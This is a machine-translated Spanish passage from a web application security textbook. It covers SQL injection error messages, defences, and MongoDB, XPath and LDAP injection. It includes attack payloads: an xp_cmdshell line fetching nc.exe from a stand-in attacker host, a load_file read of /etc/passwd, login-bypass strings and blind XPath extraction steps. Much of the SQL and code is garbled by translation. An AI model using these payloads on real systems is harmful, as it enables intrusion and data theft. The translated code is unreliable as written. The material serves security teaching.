MS SQL: seleccione @@versión
mysql: seleccione @@versión
Requisito: Recuperar la base de datos actual
Oráculo: SELECCIONE SYS_CONTEXT('USERENV','DB_NAME') DESDE dual
MS SQL: SELECCIONE nombre_bd()
El nombre del servidor se puede recuperar usando:
SELECCIONE @@nombreservidor
mysql: SELECCIONAR base de datos()
Requisito: Recuperar el privilegio del usuario actual
Oráculo: SELECCIONE el privilegio DE session_privs
MS SQL: SELECCIONE beneficiario, nombre_tabla, tipo_privilegio DESDE

INFORMACION_ESQUEMA.TABLE_PRIVILEGES
mysql: SELECT * FROM information_schema.user_privileges WHERE concesionario =

'[usuario]' donde [usuario] se determina a partir de la salida de SELECT user()
Requisito: Mostrar todas las tablas y columnas en una sola columna de resultados
Oráculo: Seleccionar nombre_tabla||' '||

nombre_columna de all_tab_columns
MS SQL: SELECCIONE table_name+'

'+column_name from information_schema.columns
mysql: SELECCIONE CONCAT(table_name,

',column_name) from information_schema.columns
Requisito: Mostrar objetos de usuario
Oráculo: SELECCIONE object_name, object_type FROM user_objects
MS SQL: SELECCIONE el nombre DE sysobjects
mysql: SELECCIONE table_name FROM information_schema.tables (o trigger_name

from information_schema.triggers, etc.)
Continuado
(continuado)
Requisito: Mostrar tablas de usuario
Oráculo: SELECCIONE object_name, object_type FROM user_objects

DONDE tipo_objeto='TABLA'
O para mostrar todas las tablas a las que el usuario tiene acceso:
SELECCIONE table_name DE all_tables
MS SQL: SELECCIONE el nombre DESDE sysobjects DONDE xtype='U'
mysql: SELECCIONE table_name FROM information_schema. tablas

donde table_type='BASE TABLE' y table_schema!='mysql'
Requisito: mostrar los nombres de las columnas para la tabla foo
Oráculo: SELECCIONE column_name, nombre DE user_tab_columns

WHERE nombre_tabla = 'FOO'
Utilice la tabla ALL_tab_columns si los datos de destino no son propiedad del

usuario de la aplicación actual.
MS SQL: SELECCIONE column_name DESDE information_schema.columns

DONDE table_name='foo'
mysql: SELECCIONE column_name DESDE information_schema.columns DONDE

table_name='foo'
Requisito: Interactuar con el sistema operativo (formas más simples)
Oráculo: Consulte el Manual del hacker de Oracle de David Litchfield
MS SQL: EXEC xp_cmshell 'dir c:\'
mysql: SELECCIONE cargar_archivo('/etc/contraseña')
Mensajes de error SQL
Oráculo: ORA-01756: cadena entre comillas no terminada correctamente
ORA-00933: el comando SQL no finalizó correctamente
MS SQL: Mensaje 170, Nivel 15, Estado 1, Línea 1
Línea 1: Sintaxis incorrecta cerca de 'foo'
Msj 105, Nivel 15, Estado 1, Línea 1
Comillas no cerradas antes de la cadena de caracteres 'foo'

mysql: Tiene un error en su sintaxis SQL. Consulte el manual que corresponde a la

versión de su servidor MySQL para conocer la sintaxis correcta para usar cerca
de "foo" en la línea X
Traducción: para Oracle y MS-SQL, la inyección de SQL está presente, ¡y es casi seguro que es
explotable! Si ingresó una comilla simple y modificó la sintaxis de la consulta
de la base de datos, este es el error que esperaría. Para MySQL, la inyección de
SQL puede estar presente, pero el mismo mensaje de error puede aparecer en
otros contextos.
Oráculo: PLS-00306: número o tipos de argumentos incorrectos en la llamada a 'XXX'
MS SQL: El procedimiento 'XXX' espera el parámetro '@YYY', que no se proporcionó
mysql: N/A
Traducción: Ha comentado o eliminado una variable que normalmente

suministrarse a la base de datos. En MS-SQL, debería poder usar técnicas de
retardo de tiempo para realizar la recuperación de datos arbitraria.
Oráculo: ORA-01789: el bloque de consulta tiene un número incorrecto de columnas

de resultados
Todas las consultas en una instrucción SQL que contenga un operador UNION
deben tener el mismo número de expresiones en sus listas de destino.
mysql: Las declaraciones SELECT utilizadas tienen un número diferente

de columnas
Traducción: Verá esto cuando intente un ataque UNION SELECT, y haya especificado un número
de columnas diferente al número en la instrucción SELECT original.
Oráculo: ORA-01790: la expresión debe tener el mismo tipo de datos que la expresión
correspondiente
Error de sintaxis al convertir el valor varchar 'foo' en una columna de tipo de datos
int.
mysql: (MySQL no le dará un error).
Traducción: verá esto cuando intente un ataque UNION SELECT y haya especificado un tipo de
datos diferente al que se encuentra en la declaración SELECT original. Intente
usar un NULL, o use 1 o 2000.
Continuado
(continuado)
Oráculo: ORA-01722: número no válido
ORA-01858: se encontró un carácter no numérico donde

se esperaba numérico
Error de sintaxis al convertir el valor varchar 'foo' en una columna de tipo de datos
int.
mysql: (MySQL no le dará un error).
Traducción: su entrada no coincide con el tipo de datos esperado para el campo. Es posible que
tenga una inyección de SQL y es posible que no necesite una comilla simple,
así que simplemente intente ingresar un número seguido de su SQL para inyectar.
En MS-SQL, debería poder devolver cualquier valor de cadena con este mensaje
de error.
Oráculo: ORA-00923: palabra clave FROM no encontrada donde se esperaba
MS SQL: N/A
mysql: N/A
Traducción: lo siguiente funcionará en MS-SQL:
SELECCIONA 1
Pero en Oracle, si desea devolver algo, debe seleccionar de una tabla. La mesa
DUAL funcionará bien:
SELECCIONE 1 de DUAL
Oráculo: ORA-00936: expresión faltante
MS SQL: Mensaje 156, Nivel 15, Estado 1, Línea 1 Sintaxis incorrecta cerca de la palabra
clave 'de'.

versión de su servidor MySQL para conocer la sintaxis correcta para usar cerca de
SOME_TABLE' en la línea 1 ' XXX , AAAA desde
Traducción: comúnmente ve este mensaje de error cuando su punto de inyección ocurre antes de
la palabra clave FROM (por ejemplo, ha inyectado en las columnas que se
devolverán) y/o ha utilizado el carácter de comentario para eliminar las palabras
clave de SQL requeridas. Intente completar la declaración SQL usted mismo mientras
usa su carácter de comentario. MySQL debería revelar los nombres de las columnas
XXX, YYY cuando se encuentra esta condición.
Oráculo: ORA-00972: el identificador es demasiado largo
MS SQL: Cadena o datos binarios podrían truncarse.
mysql: N/A
Traducción: Esto no indica inyección de SQL. Es posible que vea este mensaje de error si ha
ingresado una cadena larga. Es poco probable que obtenga un búfer desbordado
aquí tampoco, porque la base de datos está manejando su entrada de manera segura.
Oráculo: ORA-00942: tabla o vista no existe
Nombre de objeto no válido 'foo'
mysql: La tabla 'DBNAME.SOMETABLE' no existe
Traducción: Está intentando acceder a una tabla o vista que no existe o, en el caso de Oracle,
el usuario de la base de datos no tiene privilegios para la tabla o vista. Pruebe su
consulta con una tabla a la que sabe que tiene acceso, como DUAL. MySQL
debería revelar útilmente el esquema de base de datos actual DBNAME cuando
se encuentra esta condición.
Oráculo: ORA-00920: operador relacional no válido
Línea 1: sintaxis incorrecta cerca de foo

'' en la línea 1
Traducción: probablemente estaba alterando algo en una cláusula WHERE, y su intento de

inyección SQL ha interrumpido la gramática.
Oráculo: ORA-00907: falta el paréntesis derecho
MS SQL: N/A

'' en la línea 1
Traducción: su intento de inyección SQL ha funcionado, pero el punto de inyección estaba entre
paréntesis. Probablemente comentó la tesis de paréntesis de cierre con
caracteres de comentario inyectados (--).
Continuado
(continuado)
Oráculo: ORA-00900: instrucción SQL no válida
Línea 1: sintaxis incorrecta cerca de foo
mysql: Tiene un error en su sintaxis SQL. Consulte el manual que corresponde a la versión
de su servidor MySQL para conocer la sintaxis correcta para usar cerca de XXXXXX
Traducción: un mensaje de error general. Todos los mensajes de error enumerados anteriormente tienen
prioridad, por lo que algo más salió mal. Es probable que pueda probar una entrada
alternativa y obtener un mensaje más significativo.
Oráculo: ORA-03001: característica no implementada
MS SQL: N/A
mysql: N/A
Traducción: ha intentado realizar una acción que Oracle no permite. Esto puede suceder si estaba tratando
de mostrar la cadena de versión de la base de datos desde v$version pero estaba en
una consulta ACTUALIZAR o INSERTAR.
Oráculo: ORA-02030: solo se puede seleccionar entre tablas/vistas fijas
MS SQL: N/A
mysql: N/A
Traducción: probablemente estaba tratando de editar una vista de SISTEMA. Esto puede pasar
pen si estaba tratando de mostrar la cadena de la versión de la base de datos de
v$version pero estaba en una consulta ACTUALIZAR o INSERTAR.
Prevención de la inyección de SQL
A pesar de todas sus diferentes manifestaciones y las complejidades que pueden surgir en su
explotación, la inyección de SQL es, en general, una de las vulnerabilidades más fáciles de prevenir.
Sin embargo, la discusión sobre las contramedidas de inyección de SQL suele ser
engañosa , y muchas personas confían en medidas defensivas que solo son parcialmente efectivas.
Medidas parcialmente efectivas

Debido a la importancia de las comillas simples en las explicaciones estándar de
las fallas de inyección SQL, un enfoque común para prevenir ataques es evitar las
comillas simples dentro de la entrada del usuario duplicándolas. Ya ha visto dos
situaciones en las que este enfoque falla:
n Si los datos numéricos proporcionados por el usuario se incrustan en consultas
SQL, generalmente no se encapsulan entre comillas simples. Por lo tanto, un
el atacante puede salir del contexto de datos y comenzar a ingresar SQL

arbitrario sin la necesidad de proporcionar una sola comilla.
n En los ataques de inyección SQL de segundo orden, los datos que se escaparon de forma
segura cuando se insertaron inicialmente en la base de datos se leen posteriormente de la
base de datos y luego se vuelven a pasar a ella. Las comillas que se duplicaron inicialmente
vuelven a su forma original cuando se reutilizan los datos.
Otra contramedida que se cita a menudo es el uso de procedimientos almacenados para todos los
accesos a bases de datos. No hay duda de que los procedimientos almacenados personalizados
pueden brindar beneficios de seguridad y rendimiento. Sin embargo, no se garantiza que eviten las
vulnerabilidades de inyección SQL por dos razones:
n Como vio en el caso de Oracle, un procedimiento almacenado mal escrito puede contener
vulnerabilidades de inyección SQL dentro de su propio código. Problemas de seguridad
similares surgen cuando se construyen sentencias SQL dentro de procedimientos almacenados
que surgen en otros lugares. El hecho de que se esté utilizando un procedimiento almacenado
no evita que se produzcan fallos. n Incluso si se utiliza un procedimiento almacenado sólido,
pueden surgir vulnerabilidades de inyección de SQL si se invoca de forma insegura mediante la

entrada proporcionada por el usuario.
Por ejemplo, suponga que se implementa una función de registro de usuario dentro de un
procedimiento almacenado, que se invoca de la siguiente manera:
exec sp_RegisterUser 'joe', 'secreto'
Esta sentencia puede ser tan vulnerable como una simple sentencia INSERT .
Por ejemplo, un atacante puede proporcionar la siguiente contraseña:
foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com OBTENER nc.exe'--
lo que hace que la aplicación realice la siguiente consulta por lotes:
exec sp_RegisterUser 'joe', 'foo'; exec maestro..xp_cmdshell 'tftp

wahh-attacker.com OBTENER nc.exe'--'
Por lo tanto, el uso del procedimiento almacenado no ha logrado nada.

De hecho, en una aplicación grande y compleja que ejecuta miles de declaraciones SQL diferentes,
muchos desarrolladores consideran que la solución de volver a implementar estas declaraciones
como procedimientos almacenados es una sobrecarga injustificable en el tiempo de desarrollo.
Consultas parametrizadas
La mayoría de las bases de datos y las plataformas de desarrollo de aplicaciones proporcionan API
para manejar entradas que no son de confianza de manera segura, lo que evita que surjan
vulnerabilidades de inyección SQL. En consultas parametrizadas (también conocidas como sentencias
preparadas), la construcción de una sentencia SQL que contiene la entrada del usuario se realiza en dos pasos:
1. La aplicación especifica la estructura de la consulta, dejando marcadores de posición para

cada elemento de la entrada del usuario.
2. La aplicación especifica el contenido de cada marcador de posición.

Fundamentalmente, no hay forma en que los datos manipulados que se especifican en el

segundo paso puedan interferir con la estructura de la consulta especificada en el primer
paso. Debido a que la estructura de consulta ya se ha definido, la API relevante maneja
cualquier tipo de datos de marcador de posición de manera segura, por lo que siempre se
interpreta como datos y no como parte de la estructura de la declaración.
Los siguientes dos ejemplos de código ilustran la diferencia entre una consulta no segura
construida dinámicamente a partir de datos de usuario y su contraparte segura parametrizada .
En el primero, el parámetro de nombre proporcionado por el usuario se incrusta directamente
en una instrucción SQL, lo que deja a la aplicación vulnerable a la inyección SQL:
//definir la estructura de la consulta

String queryText = “select ename,sal from emp where ename ='”;
//concatenar el nombre proporcionado por el usuario

queryText += request.getParameter(“nombre”);
consultaTexto += “'”;
//ejecutar la consulta
sentencia = con.createStatement();
rs = stmt.executeQuery(queryText);
En el segundo ejemplo, la estructura de la consulta se define utilizando un signo de

interrogación como marcador de posición para el parámetro proporcionado por el usuario. Se
invoca el método prepareStatement para interpretar esto y fijar la estructura de la consulta que se va a ejecutar.
Solo entonces se usa el método setString para especificar el valor real del parámetro.
Debido a que la estructura de la consulta ya se arregló, este valor puede contener cualquier
dato sin afectar la estructura. A continuación, la consulta se ejecuta de forma segura:
//define la estructura de la consulta String

queryText = “SELECT ename,sal FROM EMP WHERE ename = ?”;
//preparar la declaración a través de la conexión DB "con"

sentencia = con.prepareStatement(queryText);
//agregue la entrada del usuario a la variable 1 (en el primer marcador de posición ?) stmt.setString(1,
request.getParameter(“nombre”));
//ejecutar la consulta
rs = sentencia.executeQuery();
NOTA Los métodos precisos y la sintaxis para crear consultas parametrizadas difieren
entre las bases de datos y las plataformas de desarrollo de aplicaciones. Consulte el
Capítulo 18 para obtener más detalles sobre los ejemplos más comunes.
Si las consultas parametrizadas van a ser una solución efectiva contra la inyección de
SQL, debe tener en cuenta varias condiciones importantes:
n Deben usarse para cada consulta de la base de datos. Los autores se han encontrado
con muchas aplicaciones en las que los desarrolladores hacían un juicio en cada
caso sobre si utilizar una consulta parametrizada. En los casos en que claramente se
estaba utilizando la entrada proporcionada por el usuario, lo hicieron; de lo contrario,
no se molestaron. Este enfoque ha sido la causa de muchos errores de inyección SQL.
En primer lugar, al centrarse solo en la entrada que se ha recibido inmediatamente del usuario,
es fácil pasar por alto los ataques de segundo orden, porque se supone que los datos que ya
se han procesado son fiables. En segundo lugar, es fácil cometer errores sobre los casos
específicos en los que los datos que se manejan son controlables por el usuario. En una
aplicación grande, diferentes elementos de datos se mantienen dentro de la sesión o se reciben
del cliente. Las suposiciones hechas por un desarrollador no se pueden comunicar a otros. El
manejo de elementos de datos específi cos puede cambiar en el futuro, introduciendo una falla
de inyección SQL en consultas previamente seguras. Es mucho más seguro adoptar el enfoque
de exigir el uso de consultas parametrizadas en toda la aplicación. n Todos los datos insertados
en la consulta deben estar debidamente parametrizados.
Los autores han encontrado numerosos casos en los que la mayoría de los parámetros de una
consulta se manejan de forma segura, pero uno o dos elementos se concatenan directamente
en la cadena utilizada para especificar la estructura de la consulta. El uso de consultas
parametrizadas no evitará la inyección de SQL si algunos parámetros se manejan de esta
manera.
n Los marcadores de posición de parámetros no se pueden usar para especificar los nombres de
tabla y columna usados en la consulta. En algunos casos excepcionales, las aplicaciones
deben especificar estos elementos dentro de una consulta SQL en función de los datos
proporcionados por el usuario. En esta situación, el mejor enfoque es utilizar una lista blanca
de buenos valores conocidos (la lista de tablas y columnas realmente utilizadas en la base de
datos) y rechazar cualquier entrada que no coincida con un elemento de esta lista. De lo
contrario, se debe aplicar una validación estricta en la entrada del usuario; por ejemplo, permitir
solo caracteres alfanuméricos, excluir espacios en blanco y aplicar un límite de longitud
adecuado. n Los marcadores de posición de parámetros no se pueden usar para ninguna otra
parte de la consulta, como las palabras clave ASC o DESC que aparecen dentro de una cláusula
ORDER BY , o cualquier otra palabra clave SQL, ya que forman parte de la estructura de la
consulta.
Al igual que con los nombres de tablas y columnas, si es necesario especificar estos elementos
en función de los datos proporcionados por el usuario, se debe aplicar una validación rigurosa
de la lista blanca para evitar ataques.
Defensa en profundidad
Como siempre, un enfoque sólido de la seguridad debe emplear medidas de defensa en

profundidad para brindar protección adicional en caso de que las defensas de primera línea
fallen por cualquier motivo. En el contexto de los ataques contra bases de datos back-end,
se pueden emplear tres capas de defensa adicionales:
n La aplicación debe utilizar el nivel de privilegios más bajo posible al acceder a la base de datos.
En general, la aplicación no necesita permisos de nivel DBA. Por lo general, solo necesita leer y
escribir sus propios datos. En situaciones críticas para la seguridad, la aplicación puede emplear
una cuenta de base de datos diferente para realizar diferentes acciones. Por ejemplo, si el 90
por ciento de sus consultas a la base de datos requieren solo acceso de lectura, se pueden
realizar con una cuenta que no tenga privilegios de escritura. Si una consulta particular necesita
leer solo un subconjunto de datos (por ejemplo, la tabla de pedidos pero no la tabla de cuentas
de usuario), se puede usar una cuenta con el nivel de acceso correspondiente. Si este enfoque
se aplica en toda la aplicación, es probable que cualquier falla residual de inyección de SQL que
pueda existir tenga un impacto significativamente reducido. n Muchas bases de datos
empresariales incluyen una gran cantidad de funciones predeterminadas que pueden ser
aprovechadas por un atacante que obtiene la capacidad de ejecutar sentencias SQL arbitrarias.
Siempre que sea posible, las funciones innecesarias deben eliminarse o desactivarse. Aunque hay
casos en los que un atacante habilidoso y determinado puede recrear algunas funciones
requeridas a través de otros medios, esta tarea no suele ser sencilla, y el fortalecimiento de la
base de datos seguirá poniendo obstáculos significativos en el camino del atacante.
n Todos los parches de seguridad emitidos por los proveedores deben evaluarse, probarse y
aplicarse de manera oportuna para corregir las vulnerabilidades conocidas dentro del propio
software de la base de datos. En situaciones críticas para la seguridad, los administradores de
bases de datos pueden usar varios servicios basados en suscriptores para obtener notificaciones
anticipadas de algunas vulnerabilidades conocidas que aún no han sido parcheadas por el
proveedor. Pueden implementar medidas alternativas apropiadas en el ínterin.
Inyectando en NoSQL
El término NoSQL se utiliza para referirse a varios almacenes de datos que se apartan de las
arquitecturas de bases de datos relacionales estándar. Los almacenes de datos NoSQL representan
datos mediante asignaciones de clave/valor y no se basan en un esquema fijo como una tabla de base
de datos convencional. Las claves y los valores se pueden definir arbitrariamente, y el formato del valor
generalmente no es relevante para el almacén de datos. Otra característica del almacenamiento de
clave/valor es que un valor puede ser una estructura de datos en sí mismo, lo que permite el
almacenamiento jerárquico, a diferencia de la estructura de datos plana dentro de un esquema de base de datos.
Los defensores de NoSQL afirman que esto tiene varias ventajas, principalmente en el manejo de
conjuntos de datos muy grandes, donde la estructura jerárquica del almacén de datos se puede optimizar
exactamente según sea necesario para reducir la sobrecarga en la recuperación de conjuntos de datos. En
estos casos, una base de datos convencional puede requerir complejas referencias cruzadas de tablas para
recuperar información en nombre de una aplicación.
Desde la perspectiva de la seguridad de las aplicaciones web, la consideración clave es cómo la
aplicación consulta los datos, porque esto determina qué formas de inyección son posibles. En el caso de
la inyección de SQL, el lenguaje SQL es muy similar en diferentes productos de bases de datos. NoSQL,
por el contrario, es un nombre que se le da a una variedad dispar de almacenes de datos, todos con sus
propios comportamientos. No todos utilizan un único lenguaje de consulta.
Estos son algunos de los métodos de consulta comunes utilizados por los almacenes de datos NoSQL:
n Búsqueda de clave/valor n
XPath (descrito más adelante en este capítulo) n
Lenguajes de programación como JavaScript
NoSQL es una tecnología relativamente nueva que ha evolucionado rápidamente. No se ha implementado

en nada parecido a la escala de tecnologías más maduras como SQL. Por lo tanto, la investigación de las
vulnerabilidades relacionadas con NoSQL aún está en pañales.
Además, debido a los medios inherentemente simples por los cuales muchas implementaciones de NoSQL
permiten el acceso a los datos, los ejemplos que a veces se discuten sobre la inyección en los almacenes
de datos de NoSQL pueden parecer artificiales.
Es casi seguro que surgirán vulnerabilidades explotables en la forma en que se utilizan los almacenes
de datos NoSQL en las aplicaciones web de hoy y de mañana. Un ejemplo de este tipo, derivado de una
aplicación del mundo real, se describe en la siguiente sección.
Inyectando en MongoDB
Muchas bases de datos NoSQL utilizan lenguajes de programación existentes para proporcionar un
mecanismo de consulta flexible y programable. Si las consultas se crean mediante la concatenación de
cadenas, un atacante puede intentar salir del contexto de los datos y alterar la sintaxis de la consulta.
Considere el siguiente ejemplo, que realiza un inicio de sesión basado en registros de usuario en un
almacén de datos de MongoDB:
$m = nuevo Mongo(); $db

= $m->cmsdb; $colección =
$bd->usuario; $js = “función() { devuelve
this.username == '$username' &
this.password == '$password'; }”;
$obj = $colección->findOne(array('$where' => $js));
si (isset($obj[“uid”]))
{
$logged_in=1;
}
más
{
$logged_in=0;
}
$js es una función de JavaScript, cuyo código se construye dinámicamente e incluye el

nombre de usuario y la contraseña proporcionados por el usuario. Un atacante puede eludir
la lógica de autenticación proporcionando un nombre de usuario:
Marco'//
y cualquier contraseña. La función de JavaScript resultante se ve así:
function() { return this.username == 'Marcus'//' & this.password == 'aaa'; }
NOTA En JavaScript, una barra inclinada doble (//) significa un comentario de

resto de línea, por lo que el código restante en la función está comentado.
Un medio alternativo para garantizar que la función $js siempre regrese
verdadero, sin usar un comentario, sería proporcionar un nombre de usuario de:
un' || 1==1 || 'a'=='a
JavaScript interpreta los diversos operadores de esta manera:
(este.nombre de usuario == 'a' || 1==1) || ('a'=='a' & this.contraseña == 'aaa');
Esto da como resultado que todos los recursos de la colección de usuarios

coincidan, ya que la primera condición disyuntiva siempre es verdadera (1 siempre es igual a 1).
Inyectando en XPath
XML Path Language (XPath) es un lenguaje interpretado que se utiliza para
navegar por documentos XML y recuperar datos de ellos. En la mayoría de los
casos, una expresión XPath representa una secuencia de pasos necesarios
para navegar de un nodo de un documento a otro.
Cuando las aplicaciones web almacenan datos dentro de documentos XML, pueden usar XPath para
acceder a los datos en respuesta a la entrada proporcionada por el usuario. Si esta entrada se inserta en la
consulta XPath sin ningún tipo de filtrado o saneamiento, un atacante puede manipular la consulta para
interferir con la lógica de la aplicación o recuperar datos para los que no está autorizado.
Los documentos XML generalmente no son un vehículo preferido para almacenar datos empresariales.
Sin embargo, se utilizan con frecuencia para almacenar datos de configuración de aplicaciones que pueden
recuperarse sobre la base de la entrada del usuario. También pueden ser utilizados por aplicaciones más
pequeñas para conservar información simple, como las credenciales, los roles y los privilegios de los usuarios.
Considere el siguiente almacén de datos XML:
<libro de direcciones>
<dirección>
<primerNombre>Guillermo</primerNombre>
<apellido>Puertas</apellido>
<contraseña>MSRocks!</contraseña> <correo
electrónico>[email protected]</correo electrónico>
<ccard>5130 8190 3282 3515</ccard>
</dirección>
<dirección>
<firstName>Chris</firstName>
<apellido>Dawes</apellido>
<contraseña>secreto</contraseña> <correo
electrónico>[email protected]</correo electrónico>
<ccard>3981 2491 3242 3121</ccard>
</dirección>
<dirección>
<firstName>James</firstName>
<apellido>Cazador</apellido>
<contraseña>déjame entrar</contraseña>
<correo electrónico>[email protected]</correo electrónico>
<ccard>8113 5320 8014 3313</ccard>
</dirección>
</libro de direcciones>
Una consulta XPath para recuperar todas las direcciones de correo electrónico se vería así:
//dirección/correo electrónico/texto()
Una consulta para devolver todos los detalles del usuario Dawes se vería así:
//dirección[apellido/texto()='Dawes']
En algunas aplicaciones, los datos proporcionados por el usuario pueden incorporarse directamente
en consultas XPath y los resultados de la consulta pueden devolverse en la respuesta de la aplicación
o utilizarse para determinar algún aspecto del comportamiento de la aplicación.
Subvertir la lógica de la aplicación

Considere una función de aplicación que recupera el número de tarjeta de crédito almacenado de un
usuario basado en un nombre de usuario y contraseña. La siguiente consulta XPath verifica
efectivamente las credenciales proporcionadas por el usuario y recupera el número de tarjeta de crédito
del usuario relevante:
//dirección[apellido/texto()='Dawes' y contraseña/texto()='secreto']/ccard/
texto()
En este caso, un atacante puede subvertir la consulta de la aplicación de forma idéntica a una falla de
inyección SQL. Por ejemplo, proporcionando una contraseña con este valor:
' o 'a'='a
da como resultado la siguiente consulta XPath, que recupera los detalles de la tarjeta de crédito de todos
los usuarios:
//dirección[apellido/texto()='Dawes' y contraseña/texto()='' o 'a'='a']/

ccard/texto()
NOTA
n Al igual que con la inyección SQL, no se requieren comillas simples cuando se inyecta en un valor
numérico.
n A diferencia de las consultas SQL, las palabras clave en las consultas XPath distinguen entre mayúsculas y
minúsculas, al igual que los nombres de los elementos en el propio documento XML.
Inyección XPath informada

Las fallas de inyección de XPath se pueden explotar para recuperar información arbitraria desde el interior
del documento XML de destino. Una forma confiable de hacer esto utiliza la misma técnica que se
describió para la inyección SQL, de hacer que la aplicación responda de diferentes maneras, dependiendo
de una condición especificada por el atacante.
Enviar las siguientes dos contraseñas dará como resultado un comportamiento diferente de la
aplicación. Los resultados se devuelven en el primer caso pero no en el segundo:
' o 1=1 y 'a'='a
' o 1=2 y 'a'='a
Esta diferencia de comportamiento se puede aprovechar para probar la veracidad de cualquier

condición específica y, por lo tanto, extraer información arbitraria byte a byte. Al igual que con SQL, el
lenguaje XPath contiene una función de subcadena que se puede usar para probar el valor de una cadena
un carácter a la vez. Por ejemplo, proporcionando esta contraseña:
' o //dirección[apellido/texto()='Puertas' y subcadena(contraseña/texto(),1,1)=

'M'] y 'a'='a
da como resultado la siguiente consulta XPath, que devuelve resultados si el primer carácter de la
contraseña del usuario de Gates es M:
//dirección[apellido/texto()='Dawes' y contraseña/texto()='' o //dirección[apellido/texto()='Puertas' y

subcadena(contraseña/texto(),1,1)= 'METRO']
y 'a'='a ']/ccard/text()
Recorriendo cada posición de carácter y probando cada valor posible,

un atacante puede extraer el valor completo de la contraseña de Gates.
¡INTENTALO!
http://mdsec.net/cclookup/14/
Inyección ciega de XPath

En el ataque que acabamos de describir, la condición de prueba inyectada especificaba tanto la
ruta absoluta a los datos extraídos (dirección) como los nombres de los campos objetivo (apellido
y contraseña). De hecho, es posible montar un ataque completamente ciego sin poseer esta
información. Las consultas XPath pueden contener pasos que son relativos al nodo actual dentro
del documento XML, por lo que desde el nodo actual es posible navegar al nodo principal o a un
nodo secundario específico. Además, XPath contiene funciones para consultar metainformación
sobre el documento, incluido el nombre de un elemento específico. Usando estas técnicas, es
posible extraer los nombres y valores de todos los nodos dentro del documento sin conocer
ninguna información previa sobre su estructura o contenido.
Por ejemplo, puede usar la técnica de subcadena descrita anteriormente para extraer el nombre
del padre del nodo actual proporcionando una serie de contraseñas de esta forma:
' o subcadena(nombre(padre::*[posición()=1]),1,1)= 'a
Esta entrada genera resultados, porque la primera letra del nodo de dirección es a.
Pasando a la segunda letra, puede confirmar que esto es así proporcionando las siguientes
contraseñas, la última de las cuales genera resultados:
'
o subcadena(nombre(padre::*[posición()=1]),2,1)='a o
'
subcadena(nombre(padre::*[posición()=1]),2,1)='b o
'
subcadena(nombre(padre::*[posición()=1]),2,1)='c o
'
subcadena(nombre(padre::*[posición()=1]),2,1)='d
Una vez establecido el nombre del nodo de dirección , puede recorrer cada uno de
sus nodos secundarios, extrayendo todos sus nombres y valores. Especificar el nodo
secundario relevante por índice evita la necesidad de conocer los nombres de los nodos.
Por ejemplo, la siguiente consulta devuelve el valor Hunter:
//dirección[posición()=3]/hijo::nodo()[posición()=4]/texto()
Y la siguiente consulta devuelve el valor letmein:
//dirección[posición()=3]/hijo::nodo()[posición()=6]/texto()
Esta técnica se puede usar en un ataque completamente ciego, donde no se devuelven

resultados dentro de las respuestas de la aplicación, creando una condición inyectada que
especifica el nodo de destino por índice. Por ejemplo, proporcionar la siguiente contraseña
devuelve resultados si el primer carácter de la contraseña de Gates es M:
'
o subcadena(//dirección[posición()=1]/hijo::nodo()[posición()=6]/
texto(),1,1)= 'M' y 'a'='a
Al recorrer cada nodo secundario de cada nodo de dirección y extraer

sus valores un carácter a la vez, puede extraer todo el contenido del
almacén de datos XML.
SUGERENCIA XPath contiene dos funciones útiles que pueden ayudarlo a automatizar
el ataque anterior e iterar rápidamente a través de todos los nodos y datos en el documento
XML:
n count() devuelve el número de nodos secundarios de un elemento dado, que se

puede usar para determinar el rango de valores de position() para iterar
sobre.
n string-length() devuelve la longitud de una cadena proporcionada, que se puede usar

para determinar el rango de valores de substring() para iterar.
¡INTENTALO!
http://mdsec.net/cclookup/19/
Encontrar fallas de inyección de XPath

Muchas de las cadenas de ataque que se usan comúnmente para detectar fallas de inyección
de SQL generalmente dan como resultado un comportamiento anómalo cuando se envían a
una función que es vulnerable a la inyección de XPath. Por ejemplo, cualquiera de las siguientes
dos cadenas normalmente invalida la sintaxis de consulta XPath y genera un error:
'
'--
Una o más de las siguientes cadenas suelen dar como resultado algún cambio en el
comportamiento de la aplicación sin causar un error, de la misma manera que lo hacen en
relación con las fallas de inyección SQL:
' o 'a'='a
' y 'a'='b
o 1=1
y 1=2
Por lo tanto, en cualquier situación en la que sus pruebas de inyección de SQL proporcionen
evidencia tentativa de una vulnerabilidad, pero no pueda explotar la falla de manera concluyente,
debe investigar la posibilidad de que esté tratando con una falla de inyección de XPath.
PASOS DE HACK
1. Intente enviar los siguientes valores y determine si estos dan como resultado
un comportamiento diferente de la aplicación, sin causar un error:
' o cuenta(padre::*[posición()=1])=0 o 'a'='b
' o cuenta(padre::*[posición()=1])>0 o 'a'='b

Si el parámetro es numérico, pruebe también las siguientes cadenas de prueba:
1 o cuenta(padre::*[posición()=1])=0
1 o cuenta(padre::*[posición()=1])>0
2. Si alguna de las cadenas anteriores causa un comportamiento diferencial dentro de la

aplicación sin causar un error, es probable que pueda extraer datos arbitrarios
creando condiciones de prueba para extraer un byte de información a la vez.
Use una serie de condiciones con el siguiente formulario para determinar el
nombre del padre del nodo actual:
subcadena(nombre(padre::*[posicion()=1]),1,1)='a'
3. Habiendo extraído el nombre del nodo principal, use una serie de condiciones
con el siguiente formulario para extraer todos los datos dentro del árbol XML:
substring(//parentnodename[position()=1]/child::node()
[posición()=1]/texto(),1,1)='a'
Prevención de la inyección de XPath
Si cree que es necesario insertar una entrada proporcionada por el usuario en una consulta XPath,
esta operación solo debe realizarse en elementos de datos simples que puedan estar sujetos a
una validación de entrada estricta. La entrada del usuario debe compararse con una lista blanca
de caracteres aceptables, que idealmente debería incluir solo caracteres alfanuméricos. Los
caracteres que pueden usarse para interferir con la consulta XPath deben bloquearse, incluidos ( )
' [] :
= * / y todos los espacios en blanco.
,
Cualquier entrada que no coincida con la lista blanca debe rechazarse, no desinfectarse.
Inyectar en LDAP
El Protocolo ligero de acceso a directorios (LDAP) se utiliza para acceder a los servicios de
directorio a través de una red. Un directorio es un almacén de datos organizado jerárquicamente
que puede contener cualquier tipo de información, pero se usa comúnmente para almacenar datos
personales como nombres, números de teléfono, direcciones de correo electrónico y funciones laborales.
Ejemplos comunes de LDAP son Active Directory que se usa dentro de los dominios de
Windows y OpenLDAP, que se usa en diversas situaciones. Lo más probable es que encuentre
que LDAP se utiliza en aplicaciones web basadas en una intranet corporativa, como una
aplicación de recursos humanos que permite a los usuarios ver y modificar información sobre
los empleados.
Cada consulta LDAP utiliza uno o más filtros de búsqueda, que determinan las entradas de
directorio que devuelve la consulta. Los fi ltros de búsqueda pueden utilizar varios operadores
lógicos para representar condiciones de búsqueda complejas. Los filtros de búsqueda más
